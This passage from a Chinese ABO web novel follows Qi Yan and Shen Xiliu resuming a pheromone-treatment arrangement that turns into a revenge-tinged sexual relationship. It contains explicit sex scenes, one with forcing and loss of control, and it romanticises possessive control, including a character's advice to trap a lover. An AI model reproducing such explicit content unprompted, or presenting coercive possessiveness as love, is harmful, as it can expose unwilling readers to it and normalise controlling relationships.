“这一点还真是难回答,我年轻的时候,性格比较嚣张,占有欲很强。”二表哥说,“一看到他和别人走在一起,就气得要死,结果他还在那边和和乐乐地闲聊着,根本没注意到我的情绪,这还得了?” 多少有点小孩子脾气吧。起初只是占有欲作祟,想要吸引住对方的注意力,想要对方只看着自己,只属于自己,永远都只能和自己在一起…… “人是很复杂的,不同人爱的表达方式也不同。哈哈,你别参照我,我很极端的。”二表哥哈哈笑着扯了几句,“要是有喜欢的人,就学些正常人表达爱的方式吧……” 沈溪流冷不丁地开口:“可是他并不喜欢我。” 二表哥的话戛然而止。 沈溪流的呼吸变得急促,手指死死捏着护栏,咬紧牙关,近乎有些痛恨,连眼底都泛起红意,一字一顿地说:“他有喜欢的人!” 祁厌并不喜欢他。 沈溪流比谁都清楚这一点,祁厌心底有深爱的人,而且爱了很多年,甚至给对方写了满满一整盒情书,几百封的信。 在这样的情况下,这人又趁着他酒醉,问他的信息素是什么,在做.爱的时候,一遍遍说着情话…… 沈溪流真的是恶心的要死,可是又偏偏无法不在意,再怎么忽视都骗不了自己。明明就不应该把祁厌这种玩弄omega的卑劣花心alpha放在眼里! 但就是无法忽视,以至于走到这一步,他知道的,他的确在意死了! 只是不想面对这个事实,于是拼命无视,直到再也无法欺骗自己。 夜风吹散碎发,二表哥懒散地靠着护栏,嘴角轻轻勾起,带着一抹危险的笑意,缓慢开口:“那又如何呢?” “反正只要想办法,就能够得到,只要到手了,就是属于我的。总有一日,心里眼底都只会属于我一人……” “溪流,信息素很有趣,也没有这么糟糕。omega无法抵抗alpha信息素的诱导,alpha也一样无法抵抗omega信息素的诱导,你们的信息素匹配度很高吧?”他意味不明地问道。 沈溪流默然一瞬,讽笑出声:“确实很高,百分百呢。” 他无数次没有意识到,不想面对现实,不就是因为百分百的信息素匹配度吗? 沈溪流厌恶信息素,但承认被信息素诱导并不是一件困难的事情,但承认自己喜欢对方,却是一件困难的事情。 因为这会颠覆他以往坚持的所有一切,无论是自身的生活方式、思想、认知、观念、坚持等等,也不得不面对一些错误…… 而这并不是一件简单的事情,正常人都会选择性忽视,沈溪流也不例外。 “我想继续坚持下去的……” 不想面对,但不可能了。 因为即使继续坚持下去,理智也会被情绪所吞噬,毕竟人类是感情动物,而沈溪流已经快嫉妒疯了。 谁让他去拍这些照片的?!!! 沈溪流恨得要死! 无法继续规避,所有积攒已久的负面情绪都在此刻爆发出来,几乎能把人逼疯,连表情都有些扭曲,无法维持他那该死的风度和傲慢。 沈溪流不得不面对自己过分极端的情绪,几欲被冲昏头脑,他清楚地知道自己有多恨自己,当初就不应该做那些蠢事,也不应该因为愤怒而放走祁厌! 第76章 前世 你别想做小三! 威尔逊医生的确名不虚传, 江与青的钱没白花,通过手术修复以后,又搭配科学的康复训练, 祁厌能感觉到手部功能恢复得比以前好许多。 假以时日,即使恢复不到最初的状态, 或许也不会像现在这样糟糕。 为了配合江与青的日程, 他们并未在国外待太久。祁厌对身为孕夫、却时不时就要在国内外飞来飞去的人,有点意见:“工作量这么大,日常安排这么紧, 你的身体真的没问题吗?” “当然没问题,医院你不都一起过去看了吗?”江与青很淡定,“我和爷爷说过了, 解决这个大项目以后, 会暂时减轻个人的工作量,孕夫不能操劳过度,除非他不想要未来的曾孙。” 江家虽然是大家族,但是身为家主的爷爷向来宠爱自己的小儿子,也就是江与青的父亲。当年甚至想要让他管理一些家族事务,奈何对方沉迷于艺术, 对江家的一切不感兴趣, 一头扎进艺术的海洋里。 如今小儿子是不可能回来管这些, 但孙子却表达出了兴趣, 江爷爷自然要好好培养一番。 “完成这个项目的话, 确实能够堵住不少人的嘴。”祁厌帮他分担不少事情,很清楚江与青说的那个项目,江沈两家的合作,的确非同小可。 “是啊, 虽然我对对面的负责人很有意见,不过事关工作,就不谈私事了。”江与青一撇嘴,有些耿耿于怀,“估计他那边已经知道了,你现在不仅是我的秘书,还是我的‘恋人’,沈溪流但凡正常点,就不会像之前那样冒昧。” “……” “你怎么不说话?”江与青扭头看他,当事人怎么活得像个局外人一样?当初被讽刺的人可是祁厌哎。 祁厌回过神来,笑笑:“哦,我没什么意见。” “没意见吗?我觉得当众贬低人,给人下脸色挺过分的。”江与青说。 “小事罢了。”祁厌短短的二十多年人生经历太多,想得很彻透,贬低真算不上什么。毕竟他和沈溪流本就没有站在一个水平线上,从开始便是金钱交易,是他自作多情了。 再次见到沈溪流,祁厌心里也没有多少起伏,全然当作公司客户招待,给江与青倒了杯果汁,又给沈溪流倒了杯咖啡,准备走出去的时候,听到了一声熟悉而客气的道谢。 “怎么了?” 江与青的助理从门口经过,见祁厌站在原地不动,顺便问了一句。 “没什么。”祁厌只是觉得,刚才的场景给他一种梦回刚同居的那段时间,双方客气又疏离。不过这一切都是错觉,经历这么多事,不管是谁都不可能做出什么都没发生的模样吧。 他摇了摇头,跟上助理的步伐,他还有许多不足,与其想些没用的事情,不如想办法提升自己,多帮江与青分担一下。 让一个孕夫忙来忙去,即使检查报告一切正常,他也安不下心,做梦都能梦到顾燕行站在背后盯着他…… 项目方面的事情谈得很顺利,毕竟双方都想要促成这次的成功,江与青难得觉得沈溪流挺省心的,不过如果谈完正事以后,不谈私事就更好了。 “你拿他当作挡箭牌?”沈溪流冷不丁地开口。 江与青正在喝果汁,差点没喷出来,轻轻擦拭了一下嘴,回视对方:“谁说的?别乱猜,人家现在是我正儿八经的男朋友,怎么,你有意见吗?” 这家伙和易家的关系到底有多好啊?就连看到祁厌在他身边,都要打听一下对方在他心里的地位。 如果他没把祁厌当回事,只是纯粹地当作挡箭牌,沈溪流不会想要对祁厌下手吧? 这样的念头一转,江与青很难不对沈溪流提起戒备,宴会的记忆还在回放,更别说沈溪流的表情和以前比起来,有些不妙。江与青和他说了几句,就以公事公谈,私事不聊。 “拜托了,沈溪流,你别对我男朋友这么感兴趣可以吗?”江与青故意这样说,他知道沈溪流这人有多骄傲,这么一说,肯定会感到恶心,从而避开这个话题。 “你再和我聊下去,我会怀疑你的心思,要知道一个omega和另一个omega聊别人的男朋友,这是不正常的。” 他就差直接说出你别想做小三! 沈溪流差点没被他恶心到,优雅地站起身,讥讽笑道:“占有欲这么强,那你怎么还让他去拍那种照片。” “那种照片?”江与青一愣,立马反应过来,一脸不赞同地反驳,“什么叫那种照片?那可是艺术!艺术啊你懂不懂?别戴有色眼镜,也不要用这种语气来贬低我的审美,那可是无与伦比的美!你听我给你讲讲,你先别走,” “嘁。”沈溪流转身就走,走得相当快。 路过秘书室,冷淡的视线在祁厌戴着手套的手停留一瞬,与他对视一眼。不等他出来,略微点头,算是打招呼,就继续离开。 “等等,沈溪流你走这么快干什么,这方面我得给你这种没有艺术细胞的人科普科普,你知不知道我辛苦创造的构图、意境……”身后的江与青被贬低了艺术,有些不服气地追了出来,继续说他的创作理念。 “江与青,你走这么快做什么!”没等他追上去,祁厌眉头一跳,先从秘书室走出,拦住江与青的执着。 “因为他无视我的艺术品,不懂得欣赏,我当然得给他科普一下我的创作理念!”江与青叉腰说道,“祁厌你知道这对于一个艺术家来说,是多大的耻辱吗?” “我不知道。”祁厌面无表情地说,他只知道一个才怀孕两个多月的孕夫不能满地乱跑。 “什么嘛,你也想羞辱我吗?!”江与青不可思议地瞪大眼睛,一聊到艺术,他就带上了莫名其妙的犟种气质。 祁厌觉得他有点神经病,沈溪流也有点神经病,要不然怎么会和江与青从项目谈到艺术?不过听江与青唠唠叨叨地抱怨几句后,才意识到居然还是他之前拍的照片惹的祸,沈溪流这又是什么意思? 祁厌微微皱眉,有点搞不懂沈溪流的想法。 下班后,他准时下班,先把江与青送回家,才回到自己的房子。 屋里的布局没有变化,一面墙都放置着酒柜和小吧台,以前没事的时候,总是喜欢练习调酒技术,他现在偶尔也会忍不住尝试。毕竟这么多年的练习已经足够变成本能习惯,不可能说忘记就忘记。 只是手受伤后,却再也调不出以前的感觉,麻木的手指活动起来会有僵硬感,祁厌私底下偷偷练习时,不知道摔坏了多少个酒杯…… 过段时间,还得继续和江与青去国外检查。他扯下黑色手套,观察几眼上面的疤痕,稍微试着调酒,但已经没有了以前的流畅,颤抖的手指连酒的分量都把握不住,调得乱七八糟,不够好看,但足够难喝。 而且动作幅度一大,手掌就会传来撕裂感和紧绷感,微微一僵,酒杯便从指尖滑落,发出清脆响亮又刺耳的破碎声。 “……” 祁厌闭了闭眼,有些心理阴影了,索性将手套带回去,不再练习。 这个习惯得改掉了。反正以后也不会再干,没必要继续练习。 祁厌对自己说道,而且现在不在酒吧工作以后,他的生活习惯倒是变得比以前健康,早睡早起地上班。如果不是以前的朋友来约他趁着周末玩玩,估计他都不打算再去酒吧。 “你是辞职,但不是和我们彻底划清关系,再不来玩玩,是真没把大家当朋友!”徐哥的声音从电话另一端传来,非常大声。 他知道祁厌对那晚发生的事情很愧疚,但没有人想要发生那种事情,更没有人会去怪祁厌,毕竟他在那件事情中,受伤最严重…… 坐在副驾驶玩手机的江与青听到了大嗓门说话,也说道:“哇!你一个酒吧常客,是怎么戒掉去酒吧了啊?我也想去玩玩,天天早睡早起,就为了上班,这样的日子好痛苦,真想去酒吧蹦迪!” 他也是闲不下来的人,只是工作太大,让他没精力去玩,还得考虑身体状况。 见他蠢蠢欲动,祁厌答应电话另一端的人后,就挂掉电话,说:“我劝你最好别想。” “我可不想你们的孩子一生下来,就学会蹦迪了。” “哈哈哈真夸张,不讲科学的话,宝宝要是能生下来就这么happy,以后一定是个活泼的性格。这样一看,肯定和某人忧郁颓丧的模样,一点都不像,那就再好不过了!” 把人送回家,祁厌进去坐了一会儿,就见江与青笑呵呵地问:“哎,祁厌,你以后要是结婚,是希望孩子长得像你,还是像你未来的对象?” 祁厌没想到他会问这个问题,还愣了一下,才慢半拍地说:“……没想过这个问题。” “诶?为什么?”江与青有些诧异。 祁厌耸了耸肩膀:“不为什么,没有恋爱结婚的打算,我是单身主义,早就将这些事情剔除在人生选择之中,就这么简单。” “……” 江与青难得陷入沉默,不过很快就一脸灿烂地笑了起来:“哈哈,那也挺好的,一个人很自由呢。时间永远是属于自己,想要做什么就做什么,不需要为他人考虑,也不用纠结怎么处理复杂的感情,还有产生的矛盾,一定会过的很轻松愉快……” “是啊,会少很多麻烦。”祁厌笑笑,刚才已经和徐哥他们约好时间,到点了就先离开,让江与青有事就打他电话。 “咦,我可不是这种不分工作时间和下班时间的上司,明天上班再见吧。”江与青嫌弃地说道,等门一关上,眉头就皱下,在客厅缓慢地走来走去。 不太对劲,明明祁厌是最渴望、珍视家人的性格。 他们以前也稍微聊过几句,当时的祁厌还不是单身主义,现在怎么会突然把恋爱结婚都给剔除了? 如果继续维持这样平静的生活,对于祁厌来说,大概是相当轻松,但可惜,他发现自己和普通生活相冲突。 下班回家时,在楼下看到那辆熟悉的迈巴赫时,祁厌就隐隐有种不妙的预感。 再看到沈溪流从车里走出来,这份预感就更加真实了。 “可以聊聊吗?” 沈溪流的态度很平和,好像一下子回到了刚认识时候,一副冷静又疏离的清高模样。 明明距离合同结束,并未过去很久,沈溪流却表现得什么事情都没有发生。 第77章 前世 人性的卑劣 有惊无喜的相遇, 祁厌可没心情把人请到自己家里,随便在附近找了家咖啡店。 “你想说什么?” 祁厌戴着黑手套的右手轻轻敲着桌面,是有些不耐烦的表现, 但他的表情并没有表现出来,一如既往的平静。 毕竟祁厌认为自己和沈溪流没什么好谈的, 那段时间闹得太难看, 尤其最后那一晚更是糟糕,不愿意回想。 沈溪流的目光落在祁厌的右手,又慢慢移动到他的脸上, 心里不知在想些什么,眼神里却是以前几乎没有过的正视:“祁厌,你还记得合同第九页里的内容吗?” 祁厌当然记得, 毕竟签订合同之后, 他特意记了下来:“怎么,搞了这么久,你的病还没治好吗?” 合同第九页的内容,是以防病人后续身体出现问题,需要联系他配合治疗的相关条例。 “嗯。”沈溪流眼睫毛轻轻颤了颤,神情没有太大变化, 他用手机调出资料, 递给祁厌, “你可以看一下, 接下来要劳烦你配合……” “又来?”祁厌想笑, 打断了沈溪流的话。他可不想兜兜转转又绕回去,毕竟现在一和沈溪流单独相处,心情便有种难以形容的怪异感,就连后颈都开始隐隐发疼。 祁厌瞥了一眼手机屏幕, 飞快地提取关键字,半晌后没忍住笑出声,把手机递回去,抬眸盯着沈溪流那张清冷淡漠的脸。 他随性地拿出烟,以前顾忌着合同规定,从不在沈溪流面前抽烟,但现在合同期间已经结束,又不是在公共场合,他多少有些无所谓。 “沈溪流,我有查过,假性标记可以借助仪器,让其他alpha覆盖,我们根本没有必要重蹈覆辙,你直接另外找别人不也一样吗?”祁厌点着烟,有些随意地开口,语气也过于轻浮。 眼前祁厌的姿态与说话的语气都显得格外陌生,这让沈溪流一愣。 但等反应过来他说了什么以后,沈溪流心底无端冒出一股无名火,他冷着脸说道:“祁厌,你当我什么人?别故意说这种恶心话激怒我。” 他怎么可能找别人覆盖掉祁厌的假性标记! “那我们再来三个月,你就不觉得恶心吗?”祁厌咬着烟,看他轻易地恢复成那副熟悉的冷漠模样,嗤笑一声。 “还是说,沈溪流,你是被我操上瘾了吗?” “祁厌,你!” 沈溪流完全没想到祁厌会对他说出这样的话,大脑几乎空白一瞬,等反应过来,惊愕的表情上浮现一丝愠怒,挺直的脊背微微发僵。 他努力控制情绪,双手不自觉地攥成拳头,深吸一口气,压下怒火地说:“祁厌,注意你的措辞,别这么低俗恶劣!” “这种事情,你不是早就知道了吗?”祁厌故作惊讶地说道。他盯着沈溪流羞愤涨红的表情,紧抿着唇,压抑着心底怒气的模样,觉得真有趣。 这都是以前不会露出来的表情,毕竟沈溪流在祁厌面前从来都是傲慢清高的姿态,从未正视过他。 当然,以前的祁厌也不会特意在沈溪流面前说些垃圾话,讽刺他。 祁厌本以为自己没这种低劣的恶趣味,但是盯着沈溪流这副模样,后颈在细微刺痛。他想到了很多事情,原本的抗拒在消散,心底多了一丝阴暗扭曲的想法。 为什么不趁机利用沈溪流呢? 如果想要报复易家,沈溪流完全就是主动送上门的工具,只要他愿意利用…… “沈溪流,别那么生气,我只是实话实说。”祁厌抽着烟,冷静下来。 这家咖啡厅的包厢不大,香烟弥漫散开,嗅到二手烟的沈溪流顾不上继续生气,被呛得咳嗽好几声,连脸颊都呛得更红了。 祁厌无动于衷,淡淡说道:“考虑到以前签订的合同,你要是不想换alpha,我也可以配合你。但有些事情提前说一下,延续期间,我不会再和你签新合同,也不会遵守那些乱七八糟的规定,更不会再抽取信息素,毕竟那么长的时间,足够你家的研究所仿制出适合你的信息素药剂了。” “而且,我现在有男朋友,如果要和你做那些事情……啧。” 尼古丁压不下烦躁,神经仍然绷着,祁厌紧盯着满脸燥红的沈溪流,摆出无所谓的自嘲模样。 “毕竟做这种事情,我也算是在背着男朋友出轨搞别人,所以要麻烦你保密好,不要再出现跟踪监视的事情,也不要让你我之外的人知道,我好歹也是有对象的人,延续时间也顶多三个月。” 祁厌说完这些,莫名笑了一声:“这样,你也肯吗?” 虽然挺想利用他,但终究是…… 没必要。 垃圾话说了一大堆,祁厌觉得以沈溪流傲慢的性格来说,听完以后没给他一拳,转身走人,都得夸他一句有素质。 然而,尽管对面的沈溪流表情已经被寒霜覆盖,气得胸膛不断起伏,连紧攥的手指指节都用力泛白,坐姿依然挺直优雅。他极力维持着自己的风度,强忍愤怒,一字一顿地说:“为什么不肯?” 完全没有料想到的结果。 “没有什么比命更重要,这本就该是……”沈溪流越说越低声,好像在自我催眠般,祁厌根本听不清楚后面的话。 过了半晌,沈溪流深深地看了祁厌一眼,目光从他的右手掠过:“既然你答应了,我们就再联系吧。这一次,不会再签合同……” 说出那些话后,祁厌完全没想到沈溪流居然还会答应下来,以至于沈溪流离开都反应不过来。 香烟烧到尾部,烫到了祁厌的手指,微微一缩,灰烬落下,他才缓慢回神。 “沈溪流疯了吧。”祁厌皱紧眉头,将香烟碾入烟灰缸里,这不明摆着送上门给他利用? 祁厌突然感觉现在的沈溪流给他的感觉好陌生,如果是以前的沈溪流,怎么可能会点头?听完这些故意羞辱人的话,没打他就算不错了。 原先还想着沈溪流多少帮过他,还是别利用比较好,但对方都送上门了…… 祁厌垂下眼帘,遮挡住眸子,那就不要脸一点吧。 沈溪流有些话没说错,他其实……挺卑劣的。 望着一旁透明玻璃里的自己,后颈在隐隐抽痛,头也有些昏沉。祁厌早有预料地从桌面抽出几张纸,堵住鼻子,往后仰身,突然莫名其妙地笑了起来。 祁厌发现自己的心情很不错,甚至开始变得有些兴奋了。 丢掉沾血的纸巾,祁厌从兜里取出一小片药,就着咖啡喝下。 挺好的,虽然他总表现出一副什么都不在意、什么都没放心上的样子,但是怎么可能完全不在意。 工作繁忙的时候还好,一旦周围安静下来,祁厌就知道,他从来没把那些事情忘记过,偶尔也会浮现过报复的念头,只是始终没有付出行动…… 毕竟他也不是什么圣人,只是个普通的人,永远摆脱不了阴暗的想法,人性的卑劣。 …… 事情发生得相当自然而然,仿佛没有什么太大的变化,但其实又完全不同。 沈溪流是个很敏锐的人,祁厌说的那些话确实难听,其实在他的意料之内。有些事情对无关紧要的人做了便做了,但如果对不能做的人做了,终究会自食其果。 但猜到归猜到,在现实里直面对方,听着祁厌说那些话时,沈溪流依然会感到愤怒、难堪、愧疚…… 如果当初没有走错,就不会变成这样。 沈溪流原本想冷静地和祁厌解开过去的误会,好好对他道歉,但一看到祁厌的表情,听见他说的话时,就知道局面不是由他掌控,也很难做到放低尊严地去道歉,毕竟他傲慢惯了,这辈子都没向别人低过头。 能够在祁厌故意说那些话,依然点头答应时,沈溪流觉得自己足够难堪、羞耻了。 所以才匆忙离去,满脑子二表哥说的那句话:不管如何,都要先得到手,只有将人困在身边,才能想出办法,让祁厌喜欢上他…… 其实不想点头答应,但沈溪流的直觉告诉他,如果失去这个机会,或许……他们永远不可能再有机会。 至于祁厌口中的“男朋友”,沈溪流很了解江家的情况,理智分析的话,他知道这大概率是假的。祁厌有百分之九十的概率是江与青的挡箭牌,但如果在感情的基础上…… 沈溪流不敢发散地去想,也不愿意去想。 因为那会显得他卑劣无耻又下贱,也会清楚地意识到祁厌有多喜欢江与青,选择他的机会有多渺茫。所以不敢想,不去想,否则他会被嫉妒与愤怒困死在局里,彻底失去理智,做出让人无法原谅的事情。 到那时候,或许他和祁厌才是真正的没有任何机会了。 沈溪流很清楚,现在的祁厌对他多少有些报复心态,所以会故意说那些话恶心他,故意做出一些事情来报复他,但这都是他应该承受的…… 他曾经如何对待祁厌,如今祁厌也会还回来。 而沈溪流要的是在这其中抓住机会,解决他们之间存在的问题,让祁厌只看得见他。 “祁厌,你的心情看起来不错,是最近发生什么有趣的事情吗?” 下班送老板回家的路上,坐在副驾驶的江与青注意到他心情不错。 “嗯,算是吧。”祁厌笑说,“找到一件有趣的事情做,你想知道?” “并不想,看你这表情,我才没兴趣。”江与青没那么多事,只是让他接下来不用接送自己,又夸他最近脸色不错,颜值没有继续下降到伤害江与青那双擅长发现美的眼睛。 本就唠叨的人,怀孕以后更加唠叨,但能和他闲聊的人不多,毕竟还没到安全的月份,江与青不敢告诉别人他怀孕了,只能和祁厌闲扯。从各种乱七八糟的事情扯到顾燕行、张衡一,扯到易家,然后又扯到沈家…… “沈溪流真是个难对付的人。”江与青突然感慨说道。这次的合作项目负责人是沈溪流,他是第一次在工作上与这人接触,总算是明白为什么当初长辈会不看好他接这个项目,对方真的相当不好对付。 如果不是沈溪流有意促成合作,稍微做了一些让步,江与青认为自己在这方面确实玩不过对方,毕竟他以前大部分时间都用来搞艺术,在商业上,哪能是沈溪流的对手。 祁厌没有说话,他以前也是这样觉得,但现在不觉得了。 把江与青送回家,祁厌没有下车,眼神意味不明地盯着自己戴着黑手套的右手,细腻的黑色布料紧贴着手掌,勾勒出手指骨节分明的流畅轮廓,看起来非常修长有力又性感,但布料底下的伤口遍布。 沈溪流好像对他的右手很愧疚,每次他故意做出一些挑战他下限的事情时,沈溪流明明很愤怒,但一看到他的右手时,就会陷入沉默,最后咬着牙点头同意…… “真是恶心人的愧疚。” 祁厌笑笑,取出手机,给沈溪流发信息。今晚没兴趣去他的房子里,要做就选一家酒店,反正爱做不做。 手机屏幕上端第一时间出现“正在输入中”的提示。 但十分钟以后,才憋出来一个字。 【好。】 第78章 前世 失控 祁厌没有和沈溪流定下时间, 一直到晚上九点,对方来酒吧找他,给他打电话, 才轻飘飘地说了一句抱歉。 “忙忘记了,其实你也可以提前把时间和地点发给我。” 祁厌喝了不少酒, 随意地上了他的车, 酒吧里面鱼龙混杂,导致身上携带着少许酒味和甜蜜香水味。 车里有释放信息素清除剂,导致沈溪流不知道他身上有没有沾到信息素, 但这不妨碍他因为前者而感到愤怒。心底情绪翻涌着,但理智不断警告沈溪流,必须要忍耐, 绝对不能失态。 现在的他没有资格也没有立场对祁厌说道, 于是沈溪流深吸一口气,维持以往的姿态,开口道:“我有给你发信息,是你没回复。” 他克制着自己的情绪,但脖子上的信息素抑制颈环已经微微亮起黯淡的红灯,彰显着沈溪流体内信息素的失控。 但他明显没有注意到, 车里的挡板也在第一时间升起, 沈溪流并不想让其他人听到自己和祁厌的对话。 “你发得太晚, 酒吧里很热闹, 很难注意到手机震动。”祁厌注意到了, 说完才提醒他,“你的信息素抑制颈环亮起红灯,该注射抑制剂了。” “?”沈溪流微愣,下意识伸手摸脖子上的颈环。 他紧抿着唇, 在祁厌的目光注视拆掉,垂着眼眸:“这是隔离颈环,没有注射药剂的功能。” 隔离颈环只是隔离信息素,以及监视体内的情况,不像抑制颈环精密细致,也代表着之前的治疗的确有用,沈溪流的身体情况用不着像以前那样时时刻刻控制着。 “……那看来你的身体状况倒是比以前好了许多。”祁厌瞥到他微微泛红的后颈腺体,莫名笑了一声。 沈溪流打开后座的灯,从暗格里取出备用的抑制颈环,重新扣到脖子,目光从祁厌身上滑过,原本只是随意看一眼,却突然紧紧盯着他的脖子,视线变得冰冷。 实在是太具有存在感的视线,以至于祁厌无法忽视,抬眼看他,一见是那种过去熟悉的目光,他的嘴角就噙着一抹戏谑的笑容:“沈溪流,你在看什么?” 沈溪流强忍许久的怒火不断在胸腔里翻涌,抑制颈环亮起一闪一闪的黄灯,抑制剂在往腺体里注入,他深吸一口气,把怒意吞下,努力维持着优雅的表象。 “你脖子上的是什么?”他的声音夹杂着冰冷。 祁厌没有第一时间反应过来,取出手机打开照相机,对着脖子处,看见衬衫领子与脖颈处贴合着的大红色唇印,才反应过来。 他关掉手机,漫不经心地说道:“没什么,和朋友玩过头了而已,但和你没关系吧。” 如果是以前,祁厌肯定会第一时间解释这个误会,但现在没有必要。解释从来只会说给自己在意、也在意自己的人听。 “玩过头?”沈溪流轻轻重读。 祁厌坐在那,微微歪头打量着他,目光落在不断闪烁的灯,笑容有些嘲讽:“别摆出一副捉奸的姿态,我们可没有什么关系。” 沈溪流眯着眼睛,肩膀因怒气而颤抖,双手紧握着,指关节因为用力而泛白,他的声音有些低沉:“所以你是想用这种事情羞辱我吗?” 和他去酒店前,在酒吧肆意玩乐,如果他没有找来,祁厌是不是今晚就和别人上床?就算是现在,也是带着别人留下的痕迹,去和他上床。 沈溪流觉得好恶心,甚至有些反胃想吐。 “这也算吗?”祁厌反问,看着他强忍怒意的模样,觉得这人真虚伪,“沈溪流,在这一点上,我远不如你,起码我不会在操.你的时候,想着另一个人。” 祁厌光是想象一下,就浑身鸡皮疙瘩都要起来了。 “这张脸长得挺不错的吧?”祁厌笑得很开心,伸手指了指自己的脸,“你很喜欢吧。” 他想说他和易扬是不是长得很像?除了眼睛以外,都遗传着易鸿立,如果沈溪流这么喜欢,那他下次要不要遮着眼睛操他,以方便沈溪流代入,就像某次酒醉后…… 不过看到沈溪流那一副僵硬的模样,祁厌还是没把话说出来,也懒得说话了,正好酒店已经到了。 “祁……”沈溪流想要张口解释,对方已经利落下车,外面的空气席卷进来,连呼吸都停滞,喉咙像被棉花堵住一样。 他一句话都说不出去,祁厌也明摆着不想听,就和以前的他差不多。沈溪流闭了闭眼,原先的怒火都在一点点消去,他会再给祁厌一些发泄的报复时间…… 进入酒店房间,祁厌让沈溪流先去洗澡,自己坐在阳台抽烟放松,有些话不能提,一提就是伤敌八百,自损一千,非常要命。 等换他洗完澡出来,看见沈溪流还穿着宽松的浴袍:“你不换衣服?” 虽然没有合同的限制,但是祁厌在某些方面还是遵守着以前的习惯,尤其是床上的某些习惯,依然秉承着减少接触的规定。 当然,灯是不关了,毕竟虽然易扬和他长得像,但也不完全一样。让沈溪流自己看着自己被谁操,露出一副既羞耻又尴尬的表情,对于祁厌来说也算是一种无聊的乐趣吧。 沈溪流没有回答这个问题,只道:“这里没有信息素消除剂……” “哦,这个你放心,总归不会让你闻到我的信息素。” “我不是这个意思,我不在意……”沈溪流抿着唇,看他从外衣里取出几个套子,表情微变,“你为什么会把这种东西带身上?” 这个问题真熟悉,以前祁厌也仔细回答过沈溪流类似的问题,现在只是平静地说:“成年人晚上出去玩的时候,带这种东西,不是很正常的事情吗?” 沈溪流:“……” 他没有像刚才在车里表现出锐利模样,只是侧过脸,缓慢放轻地呼吸着,尝试平复心情,但还是没忍住眼眶泛红,气得胸口发闷。 “赶紧做吧,你的颈环一直闪个不停。” 沈溪流尽量避开祁厌的视线,他其实很讨厌跪趴的姿势。 毕竟之前那个晚上,沈溪流被逼跪到浑身僵硬麻木,醒来后祁厌又彻底消失不见,这让他心底多少有些芥蒂。 但今晚用这个姿势,反而心底松口气,酒店的灯光明晃晃的,身后传来的感觉太过于清晰。 沈溪流攥紧床单,尽量不发出声音,不过最后终究是会失控,忘掉刚才的负面情绪,被祁厌催着换了个姿势。 不得不正面看着祁厌,这种情况下带来的视觉性冲击太大,也太让人难为情。沈溪流连理智都很难保持,咬着手指,侧着脸轻轻喘息,连泪水都不受控制流出,模糊视线。 有时候被弄得失去理智,迷迷糊糊地想要像以前一样,起身去环住祁厌,也会被压着肩膀,提醒他别乱动。 大概是今天太过于不愉快,每次沈溪流的目光触及被丢在一边的衬衫,想到祁厌脖子上的那道暧昧痕迹,他依然难以克制心中的躁动。 于是在这种情绪的催促下,沈溪流变得越发烦躁,他挡着眼睛,喘气开口:“祁厌,你能不能别总动得慢吞吞的,就这么不行吗?” “……嗯?”祁厌一顿,淡定开口,“又不是做.爱,这么快做什么?” “因为很折腾人,你这种治疗效果太差,颈环到现在都还没有恢复,如果不行的话,就换我自己来……”沈溪流强忍着内心的羞耻,冷静开口。 祁厌倒是无所谓,随意道:“如果你想要自己动,我倒是无所谓,只要别像以前,做到一半,做不下去,又求着我帮你就行。” “我不会!”沈溪流把手拿开,紧盯着他,咬牙切齿地说。 “……希望如此。”祁厌看着沈溪流那张被羞耻红晕遍布的脸,原本的清冷孤高模样全然被取代,有些羞赧又强撑着。 他心想,确实相当吸引人。 毕竟沈溪流长得很好看,就算是一副清高傲慢的模样,也相当漂亮。刚同居的某段时间,祁厌觉得自己像是在养一只高贵傲娇的优雅白猫,偶尔会懒散地躺在沙发上晒太阳,露出慵懒的模样,不开心时会微微蹙眉,轻抿薄唇,不想搭理人,就直接无视。 偏偏关键时刻,这人又很靠得住,总是端着的模样也清冷又禁欲,容让人易产生一种想要把他弄乱的征服欲…… 不过,这些都是错觉。 这人的傲慢和冷漠是刻在骨子里,偶尔对他的施舍也只是看在他还有用的份上罢了。沈溪流从来没有把他放在眼里,顶多是一个好用的工具人,长了一张和易扬相似的脸,现在或许还要加一个可以用来解决性.欲的功能…… 情绪激烈涌动,祁厌越看沈溪流,越觉得有些面目可憎,不受控制地肆意戏弄他。既然沈溪流想玩,那他就奉陪,只要对方别求饶就好。 “哈啊,咳咳,哈啊……” 原本只是打算做一两次就离开,但等回过神来,面前的场景让祁厌内心产生不可思议的错位感。 白色浴袍垫在满是水的地面,沈溪流半趴在浴缸边缘,黑发湿漉漉地沾在皮肤,白得晃眼,纤细的后背正在颤抖,残留的痕迹极其扎眼,也狼狈极了。 沈溪流在不断咳嗽和急促喘息,好半晌才恢复一些,他的嗓子已经变得低哑,连声音都比之前微弱。 “……” 沈溪流疲惫地眯着眼睛,隐约可见瞳孔扩散,无法聚焦,唇瓣比以往殷红,嘴角沾着熟悉的液体,喉咙在缓慢滚动,吞吃着刚才没有吞咽下去的东西。 “!” 浴室上方的花洒喷落的水是温热的,不慎落在祁厌的眼睛里,有些刺痛。 …… 祁厌瞳孔微缩,倏地站起身,却因为起身太猛,差点摔倒,混乱的记忆浮在脑海里。 他忍不住烦躁地抓着头发,暗骂一声:操!果然还是疯了吧!怎么会变成这样? 刚才冲动的自己显得太陌生,导致祁厌有些怪异感。 清理干净后,祁厌抱着沈溪流走出浴室,甚至不敢到处乱看,原本好好的房间变得乱七八糟…… 看到被拉扯开的窗帘,祁厌还能想起沈溪流趴在上面哭;看到沙发残留的痕迹,能想到沈溪流帮他脱掉最后一个套,强忍羞耻坐下去;看到地上弄脏的衣服,能想到对方趴着的样子;还有浴室里,他抓着沈溪流的头发,强迫…… 完全失控的记忆,显得太过陌生。 祁厌翻出外衣里的药物,加大剂量吞吃,才感觉脑子清醒许多。他穿好衣服离开酒店,此时已经凌晨两点左右,等回到家才想起来给沈溪流留一条信息。 ——【下次如果不想去酒店,你自己选个离我们公司近点的地方。】 ——【我没有兴趣每天跑那么远去找你。】 他想了想,又撤回第二条。 太糟糕了,祁厌从抽屉里翻出医生之前给的病历,仔细地看,一个字都没有略过,过了好久,他才沉默地将病历折叠起来,收回去。 祁厌想抽烟,翻了半天,才回想起香烟和打火机都放在酒店阳台外的桌子上。 “果然是色欲熏心,连这么重要的东西都忘记了。” 祁厌自嘲一句,索性下楼买烟,站在路灯下面抽了几根,刷着手机,看到张衡一在朋友圈发了一张图:一支笔、一个人、一个晚上,一个奇迹…… 索性问他在做什么,好半晌才收到对方的回复:【整理卷宗。】 回完,就一通电话打过来给祁厌,沙哑的声音问:“怎么样?从沈溪流那里能找到我们要的资料了吗?” 